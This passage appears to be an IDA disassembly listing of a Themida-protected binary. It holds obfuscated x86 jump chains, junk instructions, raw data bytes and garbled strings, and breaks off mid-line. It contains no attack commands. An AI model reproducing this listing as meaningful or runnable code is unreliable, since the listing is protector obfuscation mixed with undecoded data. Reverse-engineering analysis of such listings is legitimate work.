--------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7830000h, 243C8704h, 8F24248Bh, 248B2404h dd 1E51E924h, 248B0000h, 0C896624h, 0C2B5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569006: ; CODE XREF: Themida_:00570045j sub bl, ah mov eax, [esp] jmp loc_566C11 ; --------------------------------------------------------------------------- loc_569010: ; CODE XREF: Themida_:0056EE49j add ecx, 440D019Ch jmp loc_56DC40 ; --------------------------------------------------------------------------- db 56h dd 0E904EC83h, 0FFFFCD7Ch, 4C481h, 0EC810000h, 4, 51243C89h dd 2D24BA52h, 0B8502B02h, 1DA85C1Dh, 0B11A8D05h, 58C209FCh dd 1154F281h, 0D1892B2Fh, 0FFEEE1E9h, 78F680FFh, 0C5E9F528h dd 5A00006Fh, 4C781h, 0E5E90000h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56906B: ; CODE XREF: Themida_:00563626j push dword ptr [esp] pop edx sub esp, 4 jmp loc_56ADA2 ; --------------------------------------------------------------------------- dw 0C229h dd 5AD30158h, 4E03C381h, 0EB2964E6h, 4E03EB81h, 0EB8164E6h dd 6317220h, 9379E9h db 0 ; --------------------------------------------------------------------------- loc_569099: ; CODE XREF: Themida_:0056768Dj push 7C39h jmp loc_56DF06 ; --------------------------------------------------------------------------- db 48h dd 0E10BF105h, 8BC289ADh, 0C4832404h, 5AD02904h, 5658C701h dd 0FFDA51E9h, 243487FFh, 0FF99BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5690C5: ; CODE XREF: Themida_:0056C85Dj shr ecx, 0Ah push 0EF0h mov [esp], ebx jmp loc_56F8D3 ; --------------------------------------------------------------------------- a31S db '3,$1,$é',0Bh,'(',0 align 10h loc_5690E0: ; CODE XREF: Themida_:005642C2j sub ebp, eax pop eax jmp loc_575013 ; --------------------------------------------------------------------------- dword_5690E8 dd 240C8B66h, 0D4768h, 243C8900h, 0BD555F54h, 4, 685DEF01h ; DATA XREF: Themida_:0055FDE4o dd 3F69h, 50240C89h, 0F361CAB8h, 3ED8E924h, 5B540000h dd 4C381h, 0B9510000h, 4F2B4CCDh, 0FFCF9CE9h, 1CF752FFh dd 86E2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56912E: ; CODE XREF: Themida_:00564473j add ebp, 880FC670h mov edx, ebp pop ebp add ebx, edx jmp loc_5713EE ; --------------------------------------------------------------------------- aSE db '^é¿…',0 align 4 aVVfg@shl db 'V¾‚FG@éHl',0 dw 0D300h dd 48E92424h, 0F7FFFF6Eh, 0F3EF81DFh, 834E544Dh, 0E7C101C7h dd 8CF78103h, 29F4C734h, 0CEE95FFAh, 8B00009Dh, 1C892424h dd 0FD57E924h, 34FFFFFFh, 611E924h db 2 dup(0) word_569186 dw 34FFh ; DATA XREF: Themida_:0055FE84o dd 2434FF24h, 0DCE95058h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_569193: ; CODE XREF: Themida_:00572247j ; Themida_:005726E6j sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_56E4C7 ; --------------------------------------------------------------------------- loc_5691AB: ; CODE XREF: Themida_:00567641j pop edx shl ebp, 7 jmp loc_565632 ; --------------------------------------------------------------------------- aFpR db '(ÆfP°',0 db 0C6h dd 52585866h, 0C281E289h, 4, 602AB951h, 0BD5539FFh, 1CD06912h dd 0E95DE929h, 0FFFF9A22h, 449BC581h, 3AE906BEh, 83000054h dd 0C3304C1h, 240C3124h, 0FFB6C5E9h, 24248BFFh, 6604C483h dd 6800B60Fh, 3A53h, 81241C89h, 4ECh, 24248900h, 1D7E9h db 0 ; --------------------------------------------------------------------------- loc_569215: ; CODE XREF: Themida_:00567FB1j mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] bswap eax jmp loc_561D6B ; --------------------------------------------------------------------------- dw 42Dh dd 87000000h, 895C2404h, 0C7682404h, 5808155Dh, 42B2BF57h dd 4DE94133h, 0BA000080h, 2951290Eh, 48C9E9h, 4C68100h dd 0E9000000h, 0FFFF6F21h ; --------------------------------------------------------------------------- loc_56925C: ; CODE XREF: Themida_:0056E8F0j push ebp mov ebp, 4 push ebp add dword ptr [esp], 287E09D3h pop edi jmp loc_5727F9 ; --------------------------------------------------------------------------- dd 0F04C483h, 4468C8BFh, 0E9000051h, 0AA3Bh, 835AD601h dd 348704C6h, 0F6815C24h, 2C3E0101h, 34FFF001h, 24348B24h dd 4C481h, 35E90000h, 0F7FFFFEDh, 0FFFF05D8h, 0C6E9FFFFh dd 0BB00007Eh, 39325933h, 77E4F381h, 2E93504h, 59FFFFE0h dd 8BA8E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5692C6: ; CODE XREF: Themida_:00562FB6j push 55BBh mov [esp], eax jmp loc_5605CD ; --------------------------------------------------------------------------- byte_5692D3 db 66h ; DATA XREF: Themida_:0055FE78o dd 5124048Bh, 4EC81h, 24890000h, 22056824h, 53E90000h dd 6600002Eh, 0C52F681h, 52664E66h, 0A1BA66h, 66D60166h dd 0F681665Ah, 1667B46h, 8B665EF0h, 0C483243Ch, 0D0296602h dd 4EC81h, 1C890000h, 0A631E924h db 2 dup(0) word_56931E dw 77FFh ; DATA XREF: Themida_:0055FDA8o dd 58669D1Ch, 24041966h, 6C71E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56932E: ; CODE XREF: Themida_:0056075Bj push 17C5720Ch push dword ptr [esp] pop esi push ebp push esp pop ebp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax mov eax, 5EEF4D95h or esi, eax pop eax push edx jmp loc_56EF2A ; --------------------------------------------------------------------------- aZ4SC db ']‡4$é[–',0 db 0 ; --------------------------------------------------------------------------- loc_56936F: ; CODE XREF: Themida_:00572741j mov eax, 4 add ecx, 0D477259h push edx mov edx, 6EDE47E8h jmp loc_562160 ; --------------------------------------------------------------------------- aLSg db '[‹<$éƒ|',0 align 2 aFh db 'fh',0 align 2 dw 0C28h aS_7 db '$é°',9,0 align 2 dw 0E6D0h dd 6C0FE9h, 0E9DBF700h, 0FFFF6F97h ; --------------------------------------------------------------------------- loc_5693A8: ; CODE XREF: Themida_:0057269Cj xor ecx, 0E334007h and ecx, 6F5494Eh sub ecx, 0CABFC8D2h mov edi, ecx pop ecx mov ebp, edi jmp loc_5750D2 ; --------------------------------------------------------------------------- loc_5693C4: ; CODE XREF: Themida_:00573D24j sub ecx, edx add ecx, 7FF950FDh jmp loc_56E30A ; --------------------------------------------------------------------------- db 81h, 0E9h, 0D7h dd 81751A62h, 0EB746EC1h, 0FF515E65h, 59042474h, 0E924048Fh dd 0FFFFA23Fh, 4240483h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_574481 ; --------------------------------------------------------------------------- db 58h dd 0F12DD0F7h, 0E98044B7h, 39A4h, 8704E883h, 895C2404h dd 0EC81243Ch, 4, 83242489h, 0E9042404h, 3A06h, 0F955F381h dd 0DE31EA41h, 5EF1895Bh, 0E901C183h, 0FFFFF8D9h, 0E188D488h dd 0E924048Bh, 40B7h, 5C240433h, 0E9240431h, 0FFFF6B4Fh dd 0C53C21BAh, 0D9E94A7Fh, 5D000034h, 11D8C681h, 1CE91FAFh dd 5CFFFFCAh, 68241C89h, 2E43h, 89242C89h, 1C8B55C5h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 8B2434FFh, 0C481242Ch dd 4, 8904EC83h, 8B54242Ch, 0C481242Ch, 4, 4C581h, 0E9510000h dd 0FFFF97C4h, 83243489h, 8F5404ECh, 4812404h, 424h, 8569E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5694CA: ; CODE XREF: Themida_:00572336j cmp ecx, eax pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_5694D2: ; CODE XREF: Themida_:0056A3DDj sub eax, 7D24F26Eh sub ebx, 4D165E73h sub ebx, eax add ebx, 4D165E73h jmp loc_56737B ; --------------------------------------------------------------------------- loc_5694EA: ; CODE XREF: Themida_:0056FD49j add ecx, 332B3CCAh pop edx xor ecx, [esp] jmp loc_56C89C ; --------------------------------------------------------------------------- db 68h, 34h, 53h dd 24E9767Fh, 68FFFFA8h, 54F0h, 0B9240C89h, 6C435CB0h dd 8159CF31h, 496817E7h, 60685064h, 58301951h, 2671C781h dd 0C7295FC6h, 2671EF81h, 29585FC6h, 815B5FF9h, 4ECh, 0F90FE900h dd 535DFFFFh, 0EF2F4DBBh, 8BDE2964h, 0C481241Ch, 4, 3CD8C681h dd 0DE013037h, 0FFB7B4E9h, 80C1FEFFh, 0E95066C1h, 0BDF3h ; --------------------------------------------------------------------------- loc_569568: ; CODE XREF: Themida_:00573578j pop edx add esp, 4 push esi jmp loc_574727 ; --------------------------------------------------------------------------- dw 8F59h dd 0E95C2404h, 0A0DDh, 547C181h, 0C3E94873h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_569587: ; CODE XREF: Themida_:0057474Cj mov [esp], edx mov edx, 45610ACBh sub esp, 4 mov [esp], edx jmp loc_573D0E ; --------------------------------------------------------------------------- dw 5253h dd 5E1B4BBAh, 597ABB69h, 0EB81DBD6h, 2C007A1Dh, 8668D301h dd 0E900007Ch, 0FFFF77AFh, 3E58F281h, 0E95050FEh, 0FFFFB5DFh ; --------------------------------------------------------------------------- loc_5695C4: ; CODE XREF: Themida_:0056ACBBj add esp, 4 mov edx, [esp] jmp loc_560DF8 ; --------------------------------------------------------------------------- db 5 dd 64A422D4h, 5351F801h, 0FFA634E9h, 0E9E189FFh, 0B262h ; --------------------------------------------------------------------------- loc_5695E4: ; CODE XREF: Themida_:0057211Bj shl ebx, 7 jmp loc_56BD93 ; --------------------------------------------------------------------------- dd 0EF81EF01h, 59D750FEh, 0BFB9515Dh, 16E377Ch, 0F80159C8h dd 377CBF2Dh, 243C8B6Eh, 4C481h, 4050000h, 87000000h, 248B2404h dd 38146824h, 25E90000h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569623: ; CODE XREF: Themida_:00570B5Aj xor ebx, 248B5AE4h add ebx, 4D82BDD1h add edi, ebx pop ebx add eax, edi jmp loc_5719D5 ; --------------------------------------------------------------------------- loc_569639: ; CODE XREF: Themida_:00571CD6j xor esi, 47D73E2Ch and esi, 656B6B01h sub esi, 2D4E0C79h sub esi, 29ED6F1Eh neg esi jmp loc_574206 ; --------------------------------------------------------------------------- dd 290AB850h, 1CE9535Bh, 89FFFFADh, 4C381E3h, 0E9000000h dd 213Eh, 2AF668h, 24048900h, 150168h, 24248900h, 46852h dd 0E95A0000h, 8D25h, 0E924048Fh, 0FFFF973Ch ; --------------------------------------------------------------------------- loc_569694: ; CODE XREF: Themida_:0056BE29j add ebp, eax pop eax xchg ebp, [esp] pop esp push edx jmp loc_56FBB4 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 3E92434h, 5000006Ah, 95E9E089h, 5FFFFFF2h dd 5002E883h, 42474FFh, 3914E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5696C6: ; CODE XREF: Themida_:0057279Aj add esp, 4 not esi sub esp, 4 mov [esp], eax jmp loc_57040D ; --------------------------------------------------------------------------- db 5Ch, 50h, 89h dd 405E0h, 0E8830000h, 24048704h, 0E924248Bh, 0FFFF95A8h dd 28FDF680h, 2434FFF5h, 425AE95Ah, 282D0000h, 290B4242h dd 422805D8h, 0B9510B42h, 1E9A56D4h, 5259C829h, 1470B850h dd 3F256F93h, 0E94B694Ch, 3656h, 0C781CF01h, 7AD64362h dd 0FF98A7E9h, 0DE895DFFh, 0FFFE315Bh, 3C8B2434h, 1AD9E924h dd 0EFC10000h, 8B13E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56974A: ; CODE XREF: Themida_:0056DF11j pop eax jmp loc_566CC9 ; --------------------------------------------------------------------------- loc_569750: ; CODE XREF: Themida_:0056262Aj add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_570A0D ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7830000h, 863FE904h, 335EFFFFh, 3C31243Ch dd 243C3324h, 0FE24248Bh, 0E99C2404h, 0FFFF6817h, 347B850h dd 44294D49h, 55E90424h, 0FFFFFFC4h, 148B2434h, 9CFDE924h dd 0F8290000h, 2404335Fh, 33240431h, 0E95C2404h, 0FFFF79D3h ; --------------------------------------------------------------------------- loc_5697B4: ; CODE XREF: Themida_:00568268j xor ebp, 73B35074h push esi jmp loc_56C1A1 ; --------------------------------------------------------------------------- dd 3E9C301h, 5900000Ah, 0EAABF57h, 0EF813112h, 3F06E9Fh dd 0E95FFB01h, 0EFBh, 0ED815D59h, 34810628h, 0C581CD01h dd 34810628h, 8541E959h db 2 dup(0FFh) word_5697F2 dw 0FF66h ; DATA XREF: Themida_:0055FD58o a2ssv db '2éè‚',0 align 2 aSp db '\ép¸',0 align 10h dd 0E903E7C1h, 1994h, 0E3E9FA09h, 81FFFF7Eh, 16802434h dd 815E4794h, 941680F6h, 24048B47h, 4C481h, 0E94E0000h dd 90E3h ; --------------------------------------------------------------------------- loc_56982C: ; CODE XREF: Themida_:0056C305j mov esi, 476D0F55h add esi, 0B892F0AFh sub edi, esi pop esi jmp loc_56107E ; --------------------------------------------------------------------------- loc_56983F: ; CODE XREF: Themida_:005699D5j pop esp jmp loc_572CD0 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 4 dd 7562E9h, 62E3BE00h, 0F0017A92h, 20D0055Eh, 90E93A4Fh db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56985F: ; CODE XREF: Themida_:0056E59Fj mov edx, [esp] jmp loc_572C0F ; --------------------------------------------------------------------------- db 5 dd 54EE7897h, 576B9D2Dh, 5E8011Ah, 1A576B9Dh, 7897BF57h dd 0F82954EEh, 1F0F055Fh, 34FF6DEDh, 89505D24h, 405E0h dd 0C0830000h, 0AAAAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56989A: ; CODE XREF: Themida_:00571D3Ej not edi xchg edi, ebx xchg eax, ebx jmp loc_561CBF ; --------------------------------------------------------------------------- dd 5246D6F7h, 57F9BD55h, 0EA893146h, 2EAC15Dh, 2900CA81h dd 0EA817177h, 45AE5E23h, 0C7F281h, 0EF684200h, 89000043h dd 5BE2434h, 314BA502h, 0EA815EF2h, 5DD31CB3h, 25F4CA81h dd 0ADE941D4h, 0F7000020h, 7BC181D1h, 814ECA74h, 658F5CE9h dd 0E9CB89BDh, 0A15Fh, 0E9241C89h, 0FFFFD4D7h ; --------------------------------------------------------------------------- loc_569904: ; CODE XREF: Themida_:0056A4B8j add bl, 1Fh sub al, bl pop ebx push ecx mov cl, 0B0h push ebx mov bh, 20h not bh dec bh or bh, 0CFh not bh sub bh, 0F8h add cl, bh mov ebx, [esp] add esp, 4 add al, cl push dword ptr [esp] pop ecx push edi jmp loc_56B9D0 ; --------------------------------------------------------------------------- a_hY db '_h[y',0 align 2 dw 2C89h dd 45F9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56993E: ; CODE XREF: Themida_:00572258j push 2C3Ch mov [esp], edx jmp loc_565CF4 ; --------------------------------------------------------------------------- db 81h dd 5047BEF7h, 0D4C78172h, 21AB7F5Bh, 0D1F75FF9h, 52BA5241h dd 812C9A07h, 497993F2h, 10E94270h, 8100001Ah, 6D3DFFF1h dd 0F3D2E9B7h, 665CFFFFh, 0E924048Bh, 8B94h, 0BC1DE981h dd 0C181CC53h, 1, 0F8BA5249h, 0E9094921h, 6E65h, 10B8EABFh dd 0E189510Fh, 4C181h, 0E9810000h, 4, 5C240C87h, 28ADE9h dd 0B7E95700h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5699BF: ; CODE XREF: Themida_:00567C8Cj and eax, 17EB00DBh sub eax, 17C3007Fh add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_56983F ; --------------------------------------------------------------------------- loc_5699DA: ; CODE XREF: Themida_:0056DDE6j mov ecx, esp jmp loc_565D60 ; --------------------------------------------------------------------------- db 0BEh, 0EFh, 4Fh dd 0EC836974h, 242C8904h, 0F10F6EBDh, 5DEE315Dh, 1EDFE9h dd 3AFF6800h, 2C890000h, 712FBD24h, 0C583275Ch, 0CD814DFFh dd 3AA449A1h, 748FE581h, 0E94D58CCh, 0FFFFB4B0h ; --------------------------------------------------------------------------- loc_569A1C: ; CODE XREF: Themida_:005716FEj sub edi, 0F50BC158h mov ebx, edi pop edi mov edx, ebx jmp loc_56E15B ; --------------------------------------------------------------------------- dd 4C481h, 9BE90000h db 38h, 2 dup(0) byte_569A37 db 68h ; DATA XREF: Themida_:0055FCDCo dd 352Eh, 0E9240C89h, 9FC8h ; --------------------------------------------------------------------------- loc_569A44: ; CODE XREF: Themida_:00574BF0j mov [esp], edx sub esp, 4 jmp loc_571974 ; --------------------------------------------------------------------------- dw 335Dh dd 4312404h, 0F9E6E924h, 48BFFFFh, 0E6895624h, 8186E953h dd 0C981FFFFh, 739D0EAEh, 924FE9h db 0 byte_569A75 db 0ACh, 66h, 68h ; DATA XREF: Themida_:0055FDB8o dd 896648BDh, 0E951241Ch, 419Ch dword_569A84 dd 24048B66h, 50A368h, 243C8900h, 0FE9AE954h, 0C131FFFFh ; DATA XREF: Themida_:0055FEF8o dd 8324048Bh, 0CAE904C4h, 8300005Ch, 0F02904C4h, 597D2D5Eh dd 76E97831h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_569AB3: ; CODE XREF: Themida_:0056FB3Ej push ebp mov ebp, 5424613Eh jmp loc_568B35 ; --------------------------------------------------------------------------- dw 815Ch dd 586796EBh, 81C32923h, 586796C3h, 4EC8323h, 0FFB93CE9h dd 243487FFh, 0FFC1EDE9h, 58C301FFh, 5F2434FFh, 4C481h dd 0D7680000h, 89000054h, 74FF241Ch, 1C8B0424h, 7675E924h dd 8B5AFFFFh, 6AE92434h, 680000B7h, 157Eh, 0E9241C89h dd 0FFFFBF66h, 4C52AB68h, 0E8315860h, 0FFED32E9h db 0FFh ; --------------------------------------------------------------------------- loc_569B21: ; CODE XREF: Themida_:00569DCDj mov ebx, 73B8274Fh sub ecx, ebx pop ebx push dword ptr [esp] push dword ptr [esp] pop edi push 63A3h mov [esp], ebp mov ebp, esp push esi mov esi, 0B303477h sub esi, 0B303473h add ebp, esi jmp loc_573BDD ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 78750968h, 4D685F5Dh, 89000015h, 68502434h, 7C2Ah, 0BA241489h dd 11187092h, 505AD089h, 0FFFC9AE9h, 0C3E955FFh, 5E000035h dd 148BD001h, 4C48124h, 1000000h, 6AA52DE8h, 0B1E96BF7h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569B93: ; CODE XREF: Themida_:005752ACj mov edx, esp push ebx mov ebx, 4 sub edx, 59596094h jmp loc_563454 ; --------------------------------------------------------------------------- dw 248Bh dd 4316624h, 0ECE99C24h, 89FFFF63h, 0D90158C3h, 240C875Bh dd 0E924248Bh, 9AB9h, 8DD7E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569BCA: ; CODE XREF: Themida_:0056C605j mov esi, 4 add ecx, esi pop esi add ecx, 4 jmp loc_572044 ; --------------------------------------------------------------------------- dw 0C581h dd 0E74D3ED2h, 15E9E989h, 87000078h, 2D5C243Ch, 1942549Fh dd 9F05F801h, 5194254h, 640547C1h, 5F2434FFh, 4C481h, 555E0000h dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 546FE9h db 0 ; --------------------------------------------------------------------------- loc_569C1D: ; CODE XREF: Themida_:0057119Cj mov esp, [esp] jmp loc_574DD4 ; --------------------------------------------------------------------------- db 0B9h, 0F7h, 7Ah dd 0BCE9528Dh, 81FFFFC2h, 8B587FEDh, 0E2C5810Fh, 2959F02Fh dd 1E4FE9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569C42: ; CODE XREF: Themida_:00566D45j pop esp jmp loc_5615A4 ; --------------------------------------------------------------------------- loc_569C48: ; CODE XREF: Themida_:00564EC7j neg edi sub edi, 45E860C3h sub eax, 926EF9h add eax, edi add eax, 926EF9h pop edi sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax xchg ebx, [esp] not ebx jmp loc_560BB9 ; --------------------------------------------------------------------------- aLSz7 db '‹<$é‡7',0 dw 8100h dd 7B042444h, 0E91F5071h, 0FFFFCD2Ah, 81240C8Bh, 4C4h dd 0D8005A00h, 51241C8Bh, 60E9E189h, 56000059h, 0BA52E689h dd 53636369h, 2EC9F281h, 0F2812FE2h, 7C814DA4h, 0E95AD601h dd 0FFFF89FAh dword_569CBC dd 207F83ADh, 4E840F00h, 83FFFF64h, 1C8904ECh, 56E38924h ; DATA XREF: Themida_:0055FEA0o dd 4BEh, 0E9F30100h, 9C35h dword_569CDC dd 0E940478Fh, 0FFFF62BBh ; DATA XREF: Themida_:0055FDF8o ; --------------------------------------------------------------------------- loc_569CE4: ; CODE XREF: Themida_:005640D1j add ebp, edx sub ebp, 3E323620h mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 58C0h jmp loc_562E8D ; --------------------------------------------------------------------------- dd 0FFC0B60Fh, 34FF8734h, 17F7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569D16: ; CODE XREF: Themida_:0056FF1Bj sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_5709F6 ; --------------------------------------------------------------------------- db 58h dd 0FFA951E9h, 240C8BFFh, 0E904C483h, 0FFFFE5BEh ; --------------------------------------------------------------------------- loc_569D40: ; CODE XREF: Themida_:00573885j mov bh, ch sub bh, 1 jmp loc_56B5D0 ; --------------------------------------------------------------------------- dw 0C8Ah dd 2C48324h, 0AFE9D9F6h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569D57: ; CODE XREF: Themida_:0056A669j add ebx, ecx push eax jmp loc_563819 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 5AB15124h, 0FF7781E9h, 0D8295DFFh, 8CA4E956h dd 2B0FFFFh, 58C328h, 7C76E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569D82: ; CODE XREF: Themida_:0056B7C8j mov esi, [esp] add esp, 4 push 1F41h mov [esp], ecx mov ecx, 4791185Ch shl ecx, 2 jmp loc_56D2BF ; --------------------------------------------------------------------------- db 81h, 0F6h, 14h dd 314249ACh, 24348BF7h, 4C481h, 0F9010000h, 2ACEE9h db 0 byte_569DB5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FEECo dd 138A6824h, 0B7E90000h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569DC3: ; CODE XREF: Themida_:0056387Cj pop edx add ecx, 73B8274Fh add ecx, edi push ebx jmp loc_569B21 ; --------------------------------------------------------------------------- loc_569DD2: ; CODE XREF: Themida_:0056F22Cj pop ebp add ebp, 4 jmp loc_564786 ; --------------------------------------------------------------------------- loc_569DDE: ; CODE XREF: Themida_:005725CBj add edi, 4 push 707Bh mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] sub bl, 3 jmp loc_56EFBA ; --------------------------------------------------------------------------- loc_569E0A: ; CODE XREF: Themida_:00563AABj sub edi, 5DBE384h sub ebx, 0BF466B3h jmp loc_56BC2D ; --------------------------------------------------------------------------- byte_569E1B db 0ACh ; DATA XREF: Themida_:0055FEE0o dd 81E38953h, 4C3h, 4BE5600h, 29000000h, 61E95EF3h, 5AFFFFA6h dd 288DF780h, 0E0C05BF8h, 0F6506603h, 58662414h, 5E9C02Ch db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569E4B: ; CODE XREF: Themida_:00561F97j mov esi, [esp] add esp, 4 xchg ecx, [esp] pop esp or edx, eax jmp loc_5670B8 ; --------------------------------------------------------------------------- dd 42474FFh, 81241C8Bh, 4C4h, 24048F00h, 2965E9h, 4B95100h dd 0E9000000h, 65CCh, 8B04C483h, 0E8E9240Ch, 29000034h dd 707DE9CBh, 0C301FFFFh, 7E87E9h, 0E90400h, 0B65266D8h dd 66F028E9h, 0B08DE95Ah, 0E94DFFFFh, 0FFFF9AC7h, 89240489h dd 34BD55E0h, 517CF808h, 0FFA758E9h, 243489FFh, 1D1EE9h dd 0B7F18100h, 29123138h, 0B85059CAh, 330B3E16h, 6BFAE9h db 0 ; --------------------------------------------------------------------------- loc_569ED9: ; CODE XREF: Themida_:0057153Cj pop edx push ebx jmp loc_5627CE ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFA4E7h ; --------------------------------------------------------------------------- loc_569EE8: ; CODE XREF: Themida_:0056CB24j add eax, ebp pop ebp jmp loc_56CA31 ; --------------------------------------------------------------------------- dd 4C481h, 6CE90000h, 81FFFFE9h, 0EE7BDFF1h, 8BCB2934h dd 0C481240Ch, 4, 0FFF8AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_569F11: ; CODE XREF: Themida_:0056B63Fj mov bl, 0Ch jmp loc_5729FF ; --------------------------------------------------------------------------- dd 6FBE565Bh, 81F90F1Fh, 865FC7C2h, 81F20144h, 4ECh, 241C8900h dd 3A6BB951h, 0ACBB2EF8h, 316A7E65h, 0EA8159CBh, 3D281226h dd 0C281DA29h, 3D281226h, 0FC29E95Bh, 0D800FFFFh, 0B62CD92Ch dd 922EE9h, 0E9E98900h, 3271h ; --------------------------------------------------------------------------- loc_569F64: ; CODE XREF: Themida_:005729F4j add edi, edx pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56A3E8 ; --------------------------------------------------------------------------- dw 0FD5Eh dd 0E904EC83h, 0FFFFABBAh ; --------------------------------------------------------------------------- loc_569F98: ; CODE XREF: Themida_:0056A698j shl ebp, 5 push ecx push edx mov edx, 277F25CBh push edx pop ecx pop edx add ecx, 89E5B299h jmp loc_5668A2 ; --------------------------------------------------------------------------- loc_569FB0: ; CODE XREF: Themida_:0056F234j push dword ptr [esp] jmp loc_56B544 ; --------------------------------------------------------------------------- dword_569FB8 dd 0E9D830ACh, 0FFFF6EA4h, 14F7555Fh, 242C8B24h, 3D3DE9h ; DATA XREF: Themida_:0055FDA4o dd 24248B00h, 8277E957h, 815EFFFFh, 4C6h, 4C68100h, 87000000h dd 248B2434h, 41A7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569FEE: ; CODE XREF: Themida_:0056569Bj mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_564A0A ; --------------------------------------------------------------------------- db 0B1h, 8Eh, 80h dd 0EFE912C1h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A00F: ; CODE XREF: Themida_:00567685j push ecx push edx jmp loc_5741DB ; --------------------------------------------------------------------------- aSC0AW0qysC db 'S³c0Ý[€Åw0ïYéÎC',0 dw 8900h dd 1368241Ch, 0FF49731Ch, 815B2434h, 4C4h, 8C03E900h, 0FF52FFFFh dd 5A042474h, 0E924048Fh, 0FFFFE0C5h, 5C243C33h, 8958C389h dd 6CE3E918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A05A: ; CODE XREF: Themida_:00562CEBj add edi, 6EC3756Fh jmp loc_560307 ; --------------------------------------------------------------------------- loc_56A065: ; CODE XREF: Themida_:0057478Fj add esp, 4 loc_56A068: ; DATA XREF: Themida_:005650C9o pop ecx xchg edi, ecx jmp loc_572AA6 ; --------------------------------------------------------------------------- dd 50241C89h, 0BB480A68h, 0F37DE97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A07E: ; CODE XREF: Themida_:0056FDD4j mov [esp], ecx mov ecx, 22014F06h mov eax, ecx pop ecx mov edx, 6B862C8Dh jmp loc_5716A0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 4979E9h db 0 ; --------------------------------------------------------------------------- loc_56A0A1: ; CODE XREF: Themida_:005700FEj mov [esp], edi mov edi, 55323CCh sub ecx, edi pop edi push eax mov eax, 8DA2892h dec eax jmp loc_561418 ; --------------------------------------------------------------------------- dd 240C8B66h, 0E9E78957h, 8E02h, 35568h, 243C8900h, 7EE568h dd 0A3E0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A0D6: ; CODE XREF: Themida_:0056E2DBj mov edi, [esp] sub esp, 4 mov [esp], esi push esp pop esi push edi mov edi, 614C3EACh and edi, 0C922979h jmp loc_56F9B5 ; --------------------------------------------------------------------------- db 52h, 57h, 0BFh dd 2, 4EC81h, 3C890000h, 24148B24h, 4C481h, 34FF0000h dd 243C8B24h, 0FF6B9CE9h, 0D9BD55FFh, 8106DC0Bh, 1B7A15CDh dd 81DDF746h, 0CA0ACEC5h, 1EE58162h, 0E9233C29h, 76Ah dd 89A8E958h, 52B50000h, 0FEA5E580h, 0B2E580C5h, 0F664E580h dd 5E38E9D5h, 71B80000h, 0BA53F451h, 0E992EB6Eh, 5758C201h dd 314439BFh, 6EFC15Dh, 0E906EFC1h, 2FE5h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_573211 ; --------------------------------------------------------------------------- loc_56A17B: ; CODE XREF: Themida_:00571BB5j xor edx, eax xor eax, edx xor edx, eax jmp loc_5656B5 ; --------------------------------------------------------------------------- loc_56A186: ; CODE XREF: 